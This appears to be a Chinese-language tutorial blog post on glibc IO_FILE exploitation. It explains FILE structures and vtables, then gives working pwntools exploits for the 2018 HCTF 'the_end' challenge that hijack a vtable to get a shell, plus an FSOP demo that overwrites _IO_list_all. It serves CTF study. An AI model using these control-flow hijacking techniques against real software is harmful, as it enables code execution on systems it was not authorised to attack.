IO_file attack

IO_FILE attack

IO_file struct 认识

FILE在linux的标准IO库中用于描述文件的结构,称为文件流。FILE结构在程序执行fopen等函数是才会创建,并将其分配到中。

我们通常定义一个指向FILE结构体的指针来接受这样一个返回值

FILE struct
struct _IO_FILE {
  int _flags;       /* 文件流的状态标志,包括控制、状态和错误信息等。高阶字包含魔数(_IO_MAGIC),其余字节包含其他标志。 */
#define _IO_file_flags _flags/*对 _flags 进行重命名,用于简化使用。*/

  /* 用于支持 C++ streambuf 协议的指针, */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* 表示当前读取位置、读取区域的结束和读取区域的起始位置。 */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* 用于支持备份和撤销的指针,表示非当前读取区域的起始位置、备份区域的起始位置和非当前读取区域的结束位置。 */

  struct _IO_marker *_markers;/*指向 _IO_marker 结构体的指针,用于支持标记操作。*/

  struct _IO_FILE *_chain;/*指向下一个文件流结构体的指针,用于构成一个链表。*/

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;/*虚函数表(vtable)的偏移量。*/
  char _shortbuf[1];/*一个字符的缓冲区,用于性能优化。*/

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_FILE_complete
{
  struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
  _IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data;
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
# else
  void *__pad1;
  void *__pad2;
  void *__pad3;
  void *__pad4;

  size_t __pad5;
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};

如注释所说,对于进程中的FILE结构,他会通过_chain域彼此链接将所有的FILE结构体连接成一个链表,链表头部是全局变量 _IO_LIST_ALL表示,并且可以依靠该变量来遍历整个链表中的所有FILE结构

在标准I/O库中,在每个程序启动时会有三个文件流是自动打开的,分别是 stdin,stdout,stderr。所以一开始_IO_list_all会指向这样一个拥有这些文件流的链表, 但是,这里我们需要注意的是文件流位于libc.so的数据段,而我们通过fopen函数创建的文件流是分配在堆上面的

在libc文件中我们可以找到stdin,stdout,stderr以及_IO_2_1_stderr_ IO_2_1_stdout _IO_2_1_stdin这些符号,而他们之间有分别是指向关系,stdin -> _IO_2_1_stdin(这才是真正的结构file)

事实上_IO_FILE结构外围还包裹着一层 _IO_FILE_plus结构:

struct _IO_FILE_plus
{
    _IO_FILE    file;
    IO_jump_t   *vtable;
}
/*其中*vtable的偏移在libc.2.23下:32位:偏移为0x94;64位:偏移为0xd8*/

可以看到*vtable指针被定义为IO_jump_t类型,其中保存了一些函数指针,在后面我们会看到一些标准IO函数调用这里面的的一些函数指针。

void * funcs[] = {
   1 NULL, // "extra word"
   2 NULL, // DUMMY
   3 exit, // finish
   4 NULL, // overflow
   5 NULL, // underflow
   6 NULL, // uflow
   7 NULL, // pbackfail
   
   8 NULL, // xsputn  #printf
   9 NULL, // xsgetn
   10 NULL, // seekoff
   11 NULL, // seekpos
   12 NULL, // setbuf
   13 NULL, // sync
   14 NULL, // doallocate
   15 NULL, // read
   16 NULL, // write
   17 NULL, // seek
   18 pwn,  // close
   19 NULL, // stat
   20 NULL, // showmanyc
   21 NULL, // imbue
};
fread
#include "libioP.h"

size_t
_IO_fread (void *buf, size_t size, size_t count, FILE *fp)
{
  size_t bytes_requested = size * count;
  size_t bytes_read;
  CHECK_FILE (fp, 0);
  if (bytes_requested == 0)
    return 0;
  _IO_acquire_lock (fp);
  bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested);
  _IO_release_lock (fp);
  return bytes_requested == bytes_read ? count : bytes_read / size;
}
libc_hidden_def (_IO_fread)

weak_alias (_IO_fread, fread)

# ifndef _IO_MTSAFE_IO
strong_alias (_IO_fread, __fread_unlocked)
libc_hidden_def (__fread_unlocked)
weak_alias (_IO_fread, fread_unlocked)
# endif

可以看到,fread函数实际上是对_IO_sget函数的调用:

_IO_size_t
_IO_sgetn (fp, data, n)
     _IO_FILE *fp;
     void *data;
     _IO_size_t n;
{
  return _IO_XSGETN (fp, data, n);
}

而_IO_sgetn又会调用 _IO_XSGETN,这时我们回头看,可以发现这东西实际上就是vtable的一个函数指针,所以我们在执行fread函数时实际上会先取出在vtable中的指针然后再执行调用。

这里wiki中提到,在默认情况下这一函数指针实际上是指向了_IO_FILE_XSGETN这一个宏,而该宏又会调用 _IO_XSGETN函数

if (fp->_IO_buf_base
          && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
        {
          if (__underflow (fp) == EOF)
        break;

          continue;
        }
fwrite

实际实现原理和fread相差不大,都是通过对vtable中的函数指针引用来实现

#include "libioP.h"

size_t
_IO_fwrite (const void *buf, size_t size, size_t count, FILE *fp)
{
  size_t request = size * count;
  size_t written = 0;
  CHECK_FILE (fp, 0);
  if (request == 0)
    return 0;
  _IO_acquire_lock (fp);
  if (_IO_vtable_offset (fp) != 0 || _IO_fwide (fp, -1) == -1)
    written = _IO_sputn (fp, (const char *) buf, request);
  _IO_release_lock (fp);
  /* We have written all of the input in case the return value indicates
     this or EOF is returned.  The latter is a special case where we
     simply did not manage to flush the buffer.  But the data is in the
     buffer and therefore written as far as fwrite is concerned.  */
  if (written == request || written == EOF)
    return count;
  else
    return written / size;
}
libc_hidden_def (_IO_fwrite)

# include <stdio.h>
weak_alias (_IO_fwrite, fwrite)
libc_hidden_weak (fwrite)
# ifndef _IO_MTSAFE_IO
weak_alias (_IO_fwrite, fwrite_unlocked)
libc_hidden_weak (fwrite_unlocked)
# endif

可以看到实际上就是对written = _IO_sputn (fp, (const char *) buf, request);这里面的 _IO_sput函数的调用,而该函数又是对 IO_XSPUT的调用,它也位于 _IO_FILE_plus的vtable中,同样的会先从vtable中取出该指针再跳回执行。

IO_XSputn对应的默认函数 _IO_new_file_xsputn同样调用位于vtable中的 _IO_overflow

 /* Next flush the (full) buffer. */
      if (_IO_OVERFLOW (f, EOF) == EOF)

类似的_IO_overflow默认指向的函数:_IO_new_file_overflow

if (ch == EOF)
    return _IO_do_write (f, f->_IO_write_base,
             f->_IO_write_ptr - f->_IO_write_base);
  if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
    if (_IO_do_flush (f) == EOF)
      return EOF;

这函数内部会实现对系统接口write的调用。

fopen

和fread与fwrite不一样的是,在fopen内部会 创建 FIEL结构并进行一些初始化操作

首先在fopen对应的函数__fopen_internal内部会先调用malloc函数,分配FIEL结构的存储空间。所以,这也就是我们之前所说的除了stdin,stdout,stderr外,分配的FILE结构是在堆上的。

*new_f = (struct locked_FILE *) malloc (sizeof (struct locked_FILE);

之后为创建的FILE初始化vtable,并调用_IO_file_init进一步初始:

_IO_JUMPS (&new_f->fp) = &_IO_file_jumps;
_IO_file_init (&new_f->fp);

在_IO_file_init函数的初始化操作中,会调用 _IO_link_in 把新分配的FILE链入 _IO_list_all为起始的FILE链表中

void
_IO_link_in (fp)
     struct _IO_FILE_plus *fp;
{
    if ((fp->file._flags & _IO_LINKED) == 0)
    {
      fp->file._flags |= _IO_LINKED;
      fp->file._chain = (_IO_FILE *) _IO_list_all;
      _IO_list_all = fp;
      ++_IO_list_all_stamp;
    }
}

之后__fopen_interal函数会调用 _IO_file_fopen函数打开目标文件,_IO_fiel_fopen会根据用户传入不同的模式进行打开操作,总之最后会调用系统接口open函数:

if (_IO_file_fopen ((_IO_FILE *) new_f, filename, mode, is32) != NULL)
    return __fopen_maybe_mmap (&new_f->fp.file);

总结一下 fopen 的操作是

  • 使用 malloc 分配 FILE 结构
  • 设置 FILE 结构的 vtable
  • 初始化分配的 FILE 结构
  • 将初始化的 FILE 结构链入 FILE 结构链表中
  • 调用系统调用打开文件
fclose

fclose是标准IO库中用于关闭已打开的文件的函数,起作用与fopen函数相反。

int fclose(FILE *stream)

功能:关闭一个文件流,使用fclose就可以把缓冲区内最后的数据输出到磁盘文件中,斌释放文件指针和有关缓冲区。

fclose会先调用_IO_unlink_it函数将指定的FIEL结构从链表中脱离

if (fp->_IO_file_flags & _IO_IS_FILEBUF)
    _IO_un_link ((struct _IO_FILE_plus *) fp);

之后会调用_IO_file_close_it函数,_IO_file_close_it会调用系统接口close关闭文件

if (fp->_IO_file_flags & _IO_IS_FILEBUF)
    status = _IO_file_close_it (fp);

最后调用vtable中_IO_finish,其对应的是 _IO_FILE_FINISH函数,其中会调用free函数释放掉之前的FILE结构

printf/puts

printf 和 puts 是常用的输出函数,在 printf 的参数是以’\n’结束的纯字符串时,printf 会被优化为 puts 函数并去除换行符。

puts 在源码中实现的函数是_IO_puts,这个函数的操作与 fwrite 的流程大致相同,函数内部同样会调用 vtable 中的_IO_sputn,结果会执行_IO_new_file_xsputn,最后会调用到系统接口 write 函数。

printf 的调用栈回溯如下,同样是通过_IO_file_xsputn 实现

伪造vtable劫持程序流程

前面我们了解了文件流的相关特性,我们可以知道几乎所有IO操作都会有一个对FILE结构操作的处理,尤其是对于FILE结构外围的 _IO_FILE_plus中的vtable操作,十分重要。

因此,伪造vtable劫持程序流的中心思想就是针对io_file_plus的vtable动手,通过把vtable只想我们控制的内存,并在其中布置函数指针来实现。

因此vtable劫持分为两种,一种是直接改写vtable中的函数指针,通过任意地址写来完成。二是覆盖vtable的指针指向我们控制的内存,然后在其中布置函数指针。

例题 2018 HCTF the_end

程序源码:

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

int main(){
	sleep(0);
	printf("here is a gift %p, good luck ;)\n",&sleep);
	fflush(stdout);
	close(1);
	close(2);
	unsigned long long addr;
	for(int i=0;i<5;i++){
		read(0,&addr,8);
		read(0,addr,1);
	}
	exit(1337);
}

编译:

	gcc -fPIE -pie -Wl,-z,relro,-z,now -fstack-protector exit.c -o the_end

程序直接泄露了sleep的libc地址,我们可以通过这计算出_IO_FILE_JUMPS(也就是vtable虚表的地址)。

同时以为程序直接关闭了标准输出和标准错误,我们在拿到shell之后需要重定位才有回显。

这题很明晰的利用就是执行exit来getshell,因为exit会调用vtable里面的 setbuf函数,并且题目给出了libc版本伪2.23,所以这里我们选择劫持vtable,将onegadget写入setbuf的位置,去执行。

这里是选择两字节伪造vtable的地址,3字节刚好够修改onegadget的3字节offset。

官方exp

#coding=utf8
from pwn import *
context.log_level = 'debug'
# context.terminal = ['gnome-terminal','-x','bash','-c']
context.terminal = ['tmux','splitw','-h']

local = 1

if local:
	cn = process('./the_end')
	# bin = ELF('./exit_pwn',checksec=False)
	libc = ELF('./libc-2.23.so',checksec=False)
else:
	cn = remote('0',10006)
	libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
	cn.sendline('hxazene')
	pass


def z(a=''):
	# if local:
	gdb.attach('the_end',gdbscript=a,exe='./the_end')
	if a == '':
		raw_input()

cn.recvuntil('gift ')
d = cn.recvuntil(',')[:-1]
lbase = int(d,16)-libc.sym['sleep']
success('lbase: '+hex(lbase))

# z('b __run_exit_handlers\nb _IO_cleanup\nc')
# z('b execve\nc')
addr = lbase+libc.sym['_IO_2_1_stdout_']+0xd8
val = lbase+libc.got['realloc']-0x58

cn.send(p64(addr+1))
val2 = (val>>8)&0xff
cn.send(chr(val2))

cn.send(p64(addr))
val2 = (val)&0xff
cn.send(chr(val2))

addr = lbase+libc.sym['__realloc_hook']
val = lbase+0xf02a4

cn.send(p64(addr))
val2 = (val)&0xff
cn.send(chr(val2))

cn.send(p64(addr+1))
val2 = (val>>8)&0xff
cn.send(chr(val2))

cn.send(p64(addr+2))
val2 = (val>>16)&0xff
cn.send(chr(val2))

cn.interactive()

虽然我自己么没打出来

个人exp
from pwn import*
context.log_level='debug'
context.arch='amd64'
context.terminal = ['tmux','splitw','-h']

p = process('./the_end')
# attach(p)
p.recvuntil(b'0x')
libc = ELF('./libc-2.23.so')
sleep_addr = int(p.recv(12),16)
success('sleep_addr:'+hex(sleep_addr))
p.recvuntil(b', good luck ;)\n')

libc_base = sleep_addr - libc.sym['sleep']
success('libc_base:'+hex(libc_base))

one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]

vtable =      libc_base + 0x3c36e0 
fake_vtable = libc_base + 0x3c3570
ogg =         libc_base + one_gadget[2]

success('ogg:'+hex(ogg))
success('fake_addr' + hex(fake_vtable))
success('vtable:'+hex(vtable))

for i in range(2):
    p.send(p64(vtable+i))
    p.send(p64(fake_vtable)[i:i+1])
    print(p64(fake_vtable)[i:i+1])
    sleep(0.1)

for i in range(3):
    p.send(p64(fake_vtable+0x58+i))
    p.send(p64(ogg)[i:i+1])

p.sendline("exec /bin/sh 1>&0")

p.interactive()

FSOP

在学习完劫持vtable的操作之后,我们可以更加深刻的意识到FILE这一个结构体的运行方式,对于进程中的每一个FILE结构体都会存储在一个链表中,通过_chain域连成一块链表,并通过_IO_LIST_all这一头部节点来维护。

注意_IO_list_all这一节点是用来遍历file结构体的,所以说无论在什么时候FILE这一个链表中永远会有_IO_LIST_ALL这个头节点存在。

这也就是整个FSOP的核心利用点:

劫持_IO_LIST_ALL的值来伪造链表和其中的_IO_FILE项,但单纯的伪造只是构造了一堆数据罢了,这里我们还需要一个触发器:

FSOP 选择的触发方法是调用_IO_flush_all_lockp

int
_IO_flush_all_lockp (int do_lock)
{
  ...
  fp = (_IO_FILE *) _IO_list_all;
  while (fp != NULL)
  {
       ...
       if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
               && _IO_OVERFLOW (fp, EOF) == EOF)
           {
               result = EOF;
          }
        ...
  }
}

可以从这一部份代码中看到,这一个函数会刷新_IO_LIST_ALL链表中所有的文件流,相当于对每一个FILE都调用fflush,也会对应着调用_IO_FILE_PLUS中的vtable中的_IOOVERFLOW.

而_IO_flush_all_lockp 不需要攻击者手动调用,在一些情况下这个函数会被系统调用:

  1. 当 libc 执行 abort 流程时

  2. 当执行 exit 函数时

  3. 当执行流从 main 函数返回时

EG:

梳理一下 FSOP 利用的条件,首先需要攻击者获知 libc.so 基址,因为_IO_list_all 是作为全局变量储存在 libc.so 中的,不泄漏 libc 基址就不能改写_IO_list_all。

之后需要用任意地址写把_IO_list_all 的内容改为指向我们可控内存的指针,

之后的问题是在可控内存中布置什么数据,毫无疑问的是需要布置一个我们理想函数的 vtable 指针。但是为了能够让我们构造的 fake_FILE 能够正常工作,还需要布置一些其他数据。 这里的依据是我们前面给出的

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
               && _IO_OVERFLOW (fp, EOF) == EOF)
           {
               result = EOF;
          }

也就是

  • fp->_mode <= 0
  • fp->_IO_write_ptr > fp->_IO_write_base

在这里通过一个示例来验证这一点,首先我们分配一块内存用于存放伪造的 vtable 和_IO_FILE_plus。 为了绕过验证,我们提前获得了_IO_write_ptr、_IO_write_base、_mode 等数据域的偏移,这样可以在伪造的 vtable 中构造相应的数据

#define _IO_list_all 0x7ffff7dd2520
#define mode_offset 0xc0
#define writeptr_offset 0x28
#define writebase_offset 0x20
#define vtable_offset 0xd8

int main(void)
{
    void *ptr;
    long long *list_all_ptr;

    ptr=malloc(0x200);

    *(long long*)((long long)ptr+mode_offset)=0x0;
    *(long long*)((long long)ptr+writeptr_offset)=0x1;
    *(long long*)((long long)ptr+writebase_offset)=0x0;
    *(long long*)((long long)ptr+vtable_offset)=((long long)ptr+0x100);

    *(long long*)((long long)ptr+0x100+24)=0x41414141;

    list_all_ptr=(long long *)_IO_list_all;

    list_all_ptr[0]=ptr;

    exit(0);
}

我们使用分配内存的前 0x100 个字节作为_IO_FILE,后 0x100 个字节作为 vtable,在 vtable 中使用 0x41414141 这个地址作为伪造的_IO_overflow 指针。

之后,覆盖位于 libc 中的全局变量 _IO_list_all,把它指向我们伪造的_IO_FILE_plus。

通过调用 exit 函数,程序会执行 IO_flush_all_lockp,经过 fflush 获取 IO_list_all 的值并取出作为_IO_FILE_plus 调用其中的 _IO_overflow

---> call _IO_overflow
[#0] 0x7ffff7a89193 → Name: _IO_flush_all_lockp(do_lock=0x0)
[#1] 0x7ffff7a8932a → Name: _IO_cleanup()
[#2] 0x7ffff7a46f9b → Name: __run_exit_handlers(status=0x0, listp=<optimized out>, run_list_atexit=0x1)
[#3] 0x7ffff7a47045 → Name: __GI_exit(status=<optimized out>)
[#4] 0x4005ce → Name: main()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值